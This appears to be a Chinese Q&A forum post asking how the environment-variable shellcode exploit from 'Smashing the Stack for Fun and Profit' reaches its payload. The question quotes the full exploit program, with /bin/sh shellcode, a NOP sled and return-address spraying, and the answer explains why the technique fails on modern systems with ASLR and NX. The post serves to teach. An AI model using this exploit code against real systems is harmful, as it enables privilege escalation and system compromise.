Question

我无法理解下面显示的 Smashing the Stack for Fun and Profit 中的一个漏洞。在此漏洞利用中，一些shellcode存储在名为EGG的环境变量中，变量的地址在缓存中重复，缓冲区存储在RET中。然后使用RET调用我们希望利用的程序，这应该会导致程序跳转到EGG。任何人都可以解释如何跳转到EGG？看起来RET填充了%esp的地址，而不是EGG。

#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);
  putenv(egg);
  memcpy(buff,"RET=",4);
  putenv(buff);
  system("/bin/bash");
}

Answer 1

你知道这个程序不适用于现代PC吗？因为在现代PC中有很多堆栈保护机制，如NX，ASLR等。当他们写上述程序时并非如此。在那个时候，每个进程堆栈都在同一个内存位置。

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

上面的代码将返回一个较低的内存地址，该地址假设为“受害者代码的缓冲区略高于此地址！” 因此，当我们尝试以不同偏移量作为参数的受害者代码时，可能有机会成为“返回地址= Shellcode地址”！然后shellcode开始执行！你会产生一个壳！

EGG只是环境变量的名称。 putenv（）需要一个“name = string”形式的字符串。当你执行受害者进程时，你将$ EGG放在堆栈中，这就是为什么RET充满了％esp。希望你明白了。

缓冲区溢出环境变量

1 个答案: